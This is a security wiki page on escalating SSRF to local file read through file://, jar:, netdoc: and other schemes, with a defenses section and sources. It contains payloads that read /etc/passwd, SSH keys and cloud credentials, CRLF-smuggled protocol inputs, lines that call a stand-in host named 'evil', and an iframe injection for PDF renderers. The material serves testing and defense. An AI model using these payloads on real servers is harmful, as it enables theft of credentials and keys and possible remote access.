# Local File Read via SSRF > When a URL-fetch sink accepts non-HTTP schemes, `file://` (and `jar:`, `netdoc:`, `dict:`, `ftp:`) turns SSRF into arbitrary local file read — `/etc/passwd`, `/etc/shadow`, SSH keys, cloud creds — and sometimes into RCE. ## How it works A sink that passes the user URL to a permissive client (libcurl, Java `URL`/`URLConnection`, a PDF/HTML renderer, an XML parser) often supports more than `http(s)`. If the scheme isn't allowlisted, `file:///etc/passwd` makes the server read a local path and return (or render) its contents. The determining factor is the **client's** scheme support, not the app's intent: libcurl enables many protocols by default; Java's `URL` handler supports `file`/`ftp`/`jar`/`netdoc`; headless HTML-to-PDF engines resolve `file://` in `<iframe>`/`<img>`/CSS. When the scheme is blocked at input, a `302` to `file://` via a redirect service can reintroduce it ([[Open Redirect to SSRF]]). ## Techniques / payloads ``` file:///etc/passwd file://\/\/etc/passwd # slash-obfuscated variant file:///proc/self/environ # env vars, sometimes creds/tokens file:///home/<user>/.ssh/id_rsa # → SSH in file:///root/.aws/credentials ``` **Java-specific** (when `\n`/`\r` or `file://` struggle): `netdoc:///etc/passwd` is a legacy Java wrapper equivalent to `file://`. `jar:` reads inside archives and also does the fetch, pairing remote retrieval with local access: ``` jar:file:///path!/ jar:http://127.0.0.1!/ jar:https://127.0.0.1!/ jar:ftp://127.0.0.1!/ ``` **Node for Windows** treats any single-letter scheme as `drive://filepath` and sets the protocol to `file://` — a parser quirk that opens local reads. **Other non-HTTP schemes** that a permissive client may accept (useful for probing / protocol smuggling even without file read): ``` dict://<user>;<auth>@<host>:<port>/d:<word>:<db>:<n> # banner/word lookups, port probe ldap://localhost:11211/%0astats%0aquit # CRLF into line protocols ftp://evil:11111/ sftp://evil:11111/ tftp://evil:12346/TESTUDPPACKET ``` **Renderers** (see [[SSRF in PDF and HTML Renderers]]) are the richest file-read surface: inject `"><iframe src="file:///etc/passwd">` into any field that gets exported to PDF/HTML. Scheme-switch via redirect: `https://302.r3dir.me/--to/?url=file:///etc/passwd`. ## Notable cases - **PDFReacter (HTML→PDF) SSRF→root file read→RCE** — unescaped HTML in a form exported to PDF; `<iframe src="file:///etc/passwd">` read as root, then `/etc/shadow` and private SSH keys → SSH in → shell. The renderer resolving `file://` is the whole bug. - **`netdoc:` / `jar:` Java LFR** — documented Java URL-handler quirks (PwnL0rd "URL Eccentricities in Java") read local files where `file://` was filtered. ## Defenses - **Scheme allowlist** (`http`/`https` only), enforced at input and on every redirect hop; explicitly strip `file`/`jar`/`netdoc`/`dict`/`ftp`/`gopher`. Blocking the string `file://` alone is insufficient — use `\/\/` and scheme-case tricks. - Disable extra protocols in the client (libcurl `CURLOPT_PROTOCOLS`, restrict Java URL handlers); in renderers, disable local-file and external-resource loading and run them sandboxed with no filesystem/network ([[SSRF in PDF and HTML Renderers]]). - Least-privilege the fetch process so even a successful read yields nothing sensitive; egress + metadata controls ([[SSRF Prevention]]). ## Related - [[Server-Side Request Forgery]] - [[Gopher Protocol SSRF]] — sibling non-HTTP scheme, writes to TCP services - [[Open Redirect to SSRF]] — scheme-switch to `file://` on redirect - [[SSRF in PDF and HTML Renderers]] · [[SSRF in Image and Media Processors]] - [[SSRF Prevention]] See also: [[Path Traversal]] · [[Zip Slip and Archive Extraction]] ## Sources - [[raw/link.medium.com/pdfreacter-ssrf-to-root-level-local-file-read-which-led-to-rce-237|PDFReacter SSRF to ROOT Level Local File Read which led to RCE]] - [[raw/github.com/swisskyrepo-payloadsallthethings-server-side-request-forgery-1524|PayloadsAllTheThings - Server Side Request Forgery]] - [[raw/pravinponnusamy.medium.com/ssrf-payloads-1987|SSRF payloads]] - [[raw/0xn3va.gitbook.io/server-side-request-forgery-82|Server-Side Request Forgery - 0xn3va cheat sheet]] - [[raw/leviathansecurity.com/bypassing-ssrf-filters-using-r3dir-4198|Bypassing SSRF Filters Using r3dir]] - [[raw/book.hacktricks.xyz/url-format-bypass-hacktricks-43|URL Format Bypass - HackTricks]]